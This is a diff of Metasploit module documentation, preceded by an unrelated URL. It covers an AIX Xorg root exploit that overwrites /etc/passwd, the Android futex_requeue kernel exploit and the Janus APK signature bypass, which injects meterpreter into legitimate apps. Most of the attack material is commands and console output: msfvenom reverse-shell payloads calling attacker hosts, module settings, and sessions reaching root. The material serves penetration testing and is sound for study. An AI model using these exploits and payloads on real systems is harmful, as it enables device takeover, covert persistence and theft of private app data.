https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb
@@ -0,0 +1,74 @@
## Description
This module is a port of the OpenBSD X11 Xorg exploit to run on AIX. A permission check flaw exists for -modulepath and -logfile options when starting Xorg. This allows unprivileged users that can start the server the ability to elevate privileges and run arbitrary code under root privileges. This module has been tested with AIX 7.1 and 7.2, and should also work with 6.1. Due to permission restrictions of the crontab in AIX, this module does not use cron, and instead overwrites /etc/passwd in order to create a new user with root privileges. All currently logged in users need to be included when /etc/passwd is overwritten, else AIX will throw 'Cannot get "LOGNAME" variable' when attempting to change user. The Xorg '-fp' parameter used in the OpenBSD exploit does not work on AIX, and is replaced by '-config', in conjuction with ANSI-C quotes to inject newlines when overwriting /etc/passwd.
## Vulnerable Application
This module has been tested successfully on:
* AIX 7.1 with Xorg 7.2.3.0
* AIX 7.2 with Xorg 7.2.3.0
This table lists all vulnerable Xorg versions:
| Lower Level | Upper Level |
|-------------|-------------|
| 6.1.9.0 | 6.1.9.100 |
| 7.1.4.0 | 7.1.4.30 |
| 7.1.5.0 | 7.1.5.31 |
| 7.2.0.0 | 7.2.0.1 |
| 7.2.1.0 | 7.2.1.0 |
| 7.2.2.0 | 7.2.2.0 |
| 7.2.3.0 | 7.2.3.15 |
## Verification Steps
1. `msfconsole`
2. Get a session
3. `use exploit/aix/local/xorg_x11_server`
4. `set session <session>`
5. `set LHOST <lhost>`
6. `set LPORT <lport>`
7. `set writabledir <writabledir>`
8. `run`
## Options
**SESSION**
Which session to use, which can be viewed with `sessions`
**WritableDir**
A writable directory file system path. (default: `/tmp`)
## Scenarios
https://vimeo.com/372193921
```
msf5 exploit(aix/local/xorg_x11_server) > set session 1
session => 1
msf5 exploit(aix/local/xorg_x11_server) > set writabledir /tmp
writabledir => /tmp
msf5 exploit(aix/local/xorg_x11_server) > run
[*] Started reverse TCP handler on 0.0.0.0:8888
[*] Xorg version is 7.2.3.0
[*] Retrieving currently logged in users
[*] Writing to /tmp/wow.ksh
[*] Backing up /etc/passwd to /tmp/passwd.backup
[*] Executing /tmp/wow.ksh
[*] Checking if we are root
[+] Got root!
[*] Writing to /tmp/wowee.ksh
[*] Executing shell payload
[*] Restoring original /etc/passwd
[*] Command shell session 2 opened (172.17.0.2:8888 -> 172.17.0.1:32948) at 2019-02-11 15:42:56 +0000
[+] Deleted /tmp/wow.ksh
[+] Deleted /tmp/passwd.backup
[+] Deleted /tmp/wowee.ksh
id
uid=0(root) gid=0(system)
```
@@ -0,0 +1,100 @@
## Vulnerable Application
This module exploits a Linux Kernel vulnerability, which is also available in the Android kernel, in a Linux subsystem call of `futex`.
It does not trip (set off) Samsung NOX as of the time of writing.
Failed exploitation attempts may reboot the device.
## Verification Steps
1. Start msfconsole
2. Get a shell on a vulnerable android device
3. Do: ```use exploit/android/local/futex_requeue```
4. Select an appropriate target
5. Do: ```set lhost [IP]```
6. Do: ```run```
7. You should get a root shell.
## Targets
**0 Automatic Targeting**
Attempt to automatically determine the target
**1 Default**
Nexus 4, 5, 7, etc
**2 New Samsung**
Samsung S3, S4, S5, etc
**3 Old Samsung**
Samsung Note 2, etc
**4 Samsung Grand**
Samsung Grand, etc
## Scenarios
### Samsung Galaxy S3 Verizon (SCH-I535 w/ android 4.4.2, kernel 3.4.0)
The following was used to generate a meterpreter Android application, and it was installed to the device.
```
msfvenom -p android/meterpreter_reverse_tcp LHOST=111.111.1.111 LPORT=9999 -o /var/www/html/android.apk
```
```
[*] Processing android.128.rb for ERB directives.
resource (android.128.rb)> use exploit/multi/handler
resource (android.128.rb)> set payload android/meterpreter_reverse_tcp
payload => android/meterpreter_reverse_tcp
resource (android.128.rb)> set lport 9999
lport => 9999
resource (android.128.rb)> set lhost 111.111.1.111
lhost => 111.111.1.111
resource (android.128.rb)> run
[*] Started reverse TCP handler on 111.111.1.111:9999
[*] Meterpreter session 1 opened (111.111.1.111:9999 -> 222.222.2.222:56975) at 2019-10-22 20:56:34 -0400
WARNING: Local file /root/metasploit-framework/data/meterpreter/ext_server_stdapi.jar is being used
WARNING: Local files may be incompatible with the Metasploit Framework
meterpreter > sysinfo
Computer : localhost
OS : Android 4.4.2 - Linux 3.4.0-1542239 (armv7l)
Meterpreter : dalvik/android
meterpreter > getuid
Server username: u0_a191
meterpreter > background
[*] Backgrounding session 1...
msf5 exploit(multi/handler) > use exploit/android/local/futex_requeue
msf5 exploit(android/local/futex_requeue) > set session 1
session => 1
msf5 exploit(android/local/futex_requeue) > set verbose true
verbose => true
msf5 exploit(android/local/futex_requeue) > set lhost 111.111.1.111
lhost => 111.111.1.111
msf5 exploit(android/local/futex_requeue) > check
[+] Android version 4.4.2 appears to be vulnerable
[*] The target appears to be vulnerable.
msf5 exploit(android/local/futex_requeue) > run
[*] Started reverse TCP handler on 111.111.1.111:4444
[+] Android version 4.4.2 appears to be vulnerable
[*] Found device: d2vzw
[*] Fingerprint: Verizon/d2vzw/d2vzw:4.4.2/KOT49H/I535VRUDNE1:user/release-keys
[*] Using target: New Samsung
[*] Loading exploit library /data/data/com.metasploit.stage/files/thelr
[*] Loaded library /data/data/com.metasploit.stage/files/thelr, deleting
[*] Waiting 300 seconds for payload
[*] Transmitting intermediate stager...(136 bytes)
[*] Sending stage (904600 bytes) to 222.222.2.222
[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.222:37502) at 2019-10-22 20:57:45 -0400
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
```
@@ -0,0 +1,248 @@
## Description
This module exploits CVE-2017-13156 in Android to install a payload into another
application. The payload APK will have the same signature and can be installed
as an update, preserving the existing data.
The vulnerability was fixed in the 5th December 2017 security patch, and was
additionally fixed by the APK Signature scheme v2, so only APKs signed with
the v1 scheme are vulnerable.
This module will potentially give two things, the first is access to the private
date for the app which was injected in to. The second is a more stealthy persistence
mechanism since the payload will start each time the injected app starts.
Some devices when installing the updated apk file give an error "There was a problem parsing the package."
## Confirmed Vulnerable Apps
The following table shows known vulnerable apps either pre-installed on a phone or available to download.
| Package | Version | From Phone | MD5 |
|-------------------------------------------------------|--------------------------|------------------------------------------|-----|
| com.google.android.googlequicksearchbox | | Stock ZTE Z798BL Android 6.0.1 tracphone | 854378571509c9aa7a49f84d3f2c11c8 |
| com.ume.browser.northamerica (Browser) | v3.42.21161215 | Stock ZTE Z798BL Android 6.0.1 tracphone | 726a13647fb6afb9c147b540641eb82a |
| [com.phonegap.camerasample](https://github.com/heavysixer/phonegap-camera-sample/blob/master/bin/CameraSample.apk) | 1.0 | | 00411ebec8e7ab3fc0292070cba5efbd |
| com.android.vending (Google play store) | 6.9.21.G-all [0] 3270725 | Stock ZTE Z798BL Android 6.0.1 tracphone | bed81c338f61c6095265592ee6fbb6d8 |
| com.apptap.appfinder.tracfone | 1.7.5.0 | Stock ZTE Z798BL Android 6.0.1 tracphone | c20da001a44cd30cc09c1460ca84f743 |
| com.tracfone.generic.downloaderapp | R3.1.2 | Stock ZTE Z798BL Android 6.0.1 tracphone | 448d39f6e5b2370d5b14f24c0d2dd79b |
| com.google.android.tts (must enable TalkBack feature) | 3.10.10 | Stock ZTE Z798BL Android 6.0.1 tracphone | c44485e17a9a5987e9e3d09507b2bfda |
| com.google.android.videos | 3.19.11 | Stock ZTE Z798BL Android 6.0.1 tracphone | e95baeda7fabc3173289be7274fa350f |
## Hostile Apps
This table shows apps which seemed to work (injected, installed without error) but had adverse effects. These apps
should typically be avoided unless tested.
| Package | Version | From Phone | MD5 | Issue |
|-----------------------------------------|-----------------------|------------------------------------------|-----|--------------------|
| com.google.android.youtube | 11.38.54 | Stock ZTE Z798BL Android 6.0.1 tracphone | 8152ea89b99da5fe66880607a8f93d96 | App crash on start |
| com.android.launcher3 | | Stock ZTE Z798BL Android 6.0.1 tracphone | 45139b7bf9cc328dcd1f0a3f01f87eb6 | Seems to be the GUI for the phone. When GUI restarted, no session. |
| com.instagram.android | stub | Stock ZTE Z798BL Android 6.0.1 tracphone | 6e8543dec479508f4952ece014218597 | No session |
| com.google.android.music | 6.14.3420-0.G.3279860 | Stock ZTE Z798BL Android 6.0.1 tracphone | 09a49fea442c88b23a8f3752caff33de | App crash on start |
| com.google.android.apps.docs | | Stock ZTE Z798BL Android 6.0.1 tracphone | b0e96f36b7bdfa7ca3064c71538c1339 | App loop, no start |
| com.google.android.apps.maps | 9.38.1 | Stock ZTE Z798BL Android 6.0.1 tracphone | 91d0f8f24ce451deb31cf9f4b9a1d3c6 | App crash on start |
| com.android.chrome | 53.0.2785.124 | Stock ZTE Z798BL Android 6.0.1 tracphone | ac6bbbd5ea559dbb63c42eb7e863286b | Original session dies on upload |
| com.google.android.gms | | Stock ZTE Z798BL Android 6.0.1 tracphone | 504de5427ec47fa3e124c7b5e3413c50 | Original session dies on upload |
## Vulnerable Application
This module will only work on applications that are signed with only the v1 signature scheme. You can verify which signing scheme an APK is signed with using the `apksigner` tool in the Android SDK:
```
$ apksigner verify -verbose notvulnerable.apk
Verifies
Verified using v1 scheme (JAR signing): true
Verified using v2 scheme (APK Signature Scheme v2): true
Number of signers: 1
$ apksigner verify -verbose vulnerableapplication.apk
Verifies
Verified using v1 scheme (JAR signing): true
Verified using v2 scheme (APK Signature Scheme v2): false
Number of signers: 1
```
## Verification Steps
1. Start `msfconsole`
2. Get a session
4. Start a handler with `exploit/multi/handlers`
5. Do: `use exploit/android/local/janus`
6. Do: `set session [session]`
7. Do: `check`
8. Do: `run`
9. On the phone, a new screen will ask about installing the updated app, say yes/ok, then open the app.
10. You should get a new session.
## Options
**PACKAGE**
Select a package to infect. A list of packages can be obtained by running `app_list` on meterpreter. Using `ALL` will
loop through all packages and attempt to exploit them until successful. This can take a while, and cause lots of data to be
transferred. Default is `com.phonegap.camerasample`
## Scenarios
### com.phonegap.camerasample on Nexus 6p with November 2016 Security Patch
Install [com.phonegap.camerasample](https://github.com/heavysixer/phonegap-camera-sample/blob/master/bin/CameraSample.apk)
An `exploit/multi/handler` was started prior to exploitation.
```
msf5 exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter dalvik/android u0_a80 @ localhost 192.168.0.176:4444 -> 192.168.0.107:46059 (192.168.0.107)
msf5 exploit(multi/handler) > use exploit/android/local/janus
msf5 exploit(android/local/janus) > set PACKAGE com.phonegap.camerasample
PACKAGE => com.phonegap.camerasample
msf5 exploit(android/local/janus) > set SESSION 1
SESSION => 1
msf5 exploit(android/local/janus) > set LHOST 192.168.0.176
LHOST => 192.168.0.176
msf5 exploit(android/local/janus) > set LPORT 4445
LPORT => 4445
msf5 exploit(android/local/janus) > run
[*] Downloading APK: /data/app/com.phonegap.camerasample-1/base.apk
[*] Decompiling original APK..
[*] Decompiling payload APK..
[*] Locating hook point..
[*] Adding payload as package com.phonegap.camerasample.syerq
[*] Loading /tmp/d20190824-7164-qydvgj/original/smali/com/phonegap/camerasample/CameraSampleActivity.smali and injecting payload..
[*] Rebuilding apk with meterpreter injection as /tmp/d20190824-7164-qydvgj/output.apk
[*] Uploading APK: /sdcard/app.apk
[*] APK uploaded
msf5 exploit(android/local/janus) >
```
Please note that the user will need to manually accept the install prompt on the device (and also open the application) before a new session is opened.
```
[*] Sending stage (72609 bytes) to 192.168.0.107
[*] Meterpreter session 2 opened (192.168.0.176:4445 -> 192.168.0.107:49710) at 2018-10-01 17:44:50 +0800
msf5 exploit(android/local/janus) > sessions 2
[*] Starting interaction with 2...
meterpreter > pwd
/data/user/0/com.phonegap.camerasample/files
```
### Browser (com.ume.browser.northamerica) on ZTE Z798BL Android 6.0.1 with December 2016 Security Patch
Original payload was generated as such:
```
./msfvenom -p android/meterpreter_reverse_tcp LHOST=1.1.1.1 LPORT=9999 -o /var/www/html/android.apk
```
```
resource (janus.rb)> use exploit/multi/handler
resource (janus.rb)> set payload android/meterpreter_reverse_tcp
payload => android/meterpreter_reverse_tcp
resource (janus.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (janus.rb)> set lport 9999
lport => 9999
resource (janus.rb)> run
[*] Started reverse TCP handler on 1.1.1.1:9999
[*] Meterpreter session 1 opened (1.1.1.1:9999 -> 2.2.2.2:43753) at 2019-11-05 20:08:53 -0500
WARNING: Local file /root/metasploit-framework/data/meterpreter/ext_server_stdapi.jar is being used
meterpreter > getuid
Server username: u0_a89
meterpreter > pwd
/data/user/0/com.metasploit.stage/files
meterpreter > sysinfo
Computer : localhost
OS : Android 6.0.1 - Linux 3.10.49-gc5a5f6b-00560-gb1fe534 (armv7l)
Meterpreter : dalvik/android
meterpreter > background
[*] Backgrounding session 1...
```
Start the payload handler to catch the new callback
```
resource (janus.rb)> set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
resource (janus.rb)> set lport 4444
lport => 4444
resource (janus.rb)> run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
```
Exploit
```
resource (janus.rb)> use janus
[*] Started reverse TCP handler on 1.1.1.1:4444
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/android/local/janus 2017-07-31 manual Yes Android Janus APK Signature bypass
[*] Using exploit/android/local/janus
resource (janus.rb)> set session 1
session => 1
resource (janus.rb)> set package com.ume.browser.northamerica
package => com.ume.browser.northamerica
resource (janus.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (janus.rb)> set lport 4444
lport => 4444
resource (janus.rb)> set verbose true
verbose => true
resource (janus.rb)> run
[+] Android version 6.0.1 appears to be vulnerable.
[+] Android security patch level 2016-12-01 is vulnerable
[*] Downloading APK: /system/priv-app/UmeBrowser/UmeBrowser.apk
[*] Decompiling original APK..
[*] Decompiling payload APK..
[*] Locating hook point..
[*] Adding payload as package com.ume.browser.northamerica.onhad
[*] Loading /tmp/d20191105-15343-1heobn1/original/smali/com/ume/browser/UmeApplication.smali and injecting payload..
[*] Rebuilding apk with meterpreter injection as /tmp/d20191105-15343-1heobn1/output.apk
[*] Uploading APK: /sdcard/app.apk
[*] APK uploaded
[*] User should now have a prompt to install an updated version of the app
msf5 exploit(android/local/janus) >
```
Install the app on the phone. For this app, clicking Open was not required, the shell was immediate.
![phone 1](https://user-images.githubusercontent.com/752491/68260086-d404a000-0009-11ea-96bc-aa3700570326.png)
![phone 2](https://user-images.githubusercontent.com/752491/68260085-d404a000-0009-11ea-9a10-b4da9c322996.png)
![phone 3](https://user-images.githubusercontent.com/752491/68260084-d404a000-0009-11ea-8256-92803b5d2ec8.png)
```
WARNING: Local file /root/metasploit-framework/data/android/metstage.jar is being used
WARNING: Local file /root/metasploit-framework/data/android/meterpreter.jar is being used
[*] Sending stage (73445 bytes) to 2.2.2.2
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:38676) at 2019-11-05 20:12:38 -0500
[-] Unknown command: (installing.
msf5 exploit(android/local/janus) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > getuid
Server username: u0_a34
meterpreter > pwd
/data/user/0/com.ume.browser.northamerica/files
```
@@ -1,4 +1,4 @@
## Intro
## Introduction
This modules exploits a vulnerability in the linux kernel on an Android device, which allows an untrusted app to elevate to root priviledges. On Android an application normally runs as an individual linux user, sandboxing it from the Android system and other applications. After running the exploit the resulting session has full priviledge on the device, and can access the entire filesystem and the private data files of every other app, including system apps.
@@ -1,4 +1,4 @@
## Intro
## Introduction
This module exploits a stack buffer overflow in `fingerd` on 4.3BSD.
This vulnerability was exploited by the Morris worm in 1988-11-02.
@@ -17,7 +17,7 @@ Major version of older releases can be found at following URL.
You can download file named as AlienVault-USM_trial_5.2.5.zip which contains a OVA file.
In order to complete installation phase, you have to apply [https://www.alienvault.com/try-it-free](https://www.alienvault.com/try-it-free) .
Once alienvault sales team validate your information, you will be able to complete the installation with your e-mail adress.
Once alienvault sales team validate your information, you will be able to complete the installation with your e-mail address.
## Verification Steps

Some files were not shown because too many files have changed in this diff Show More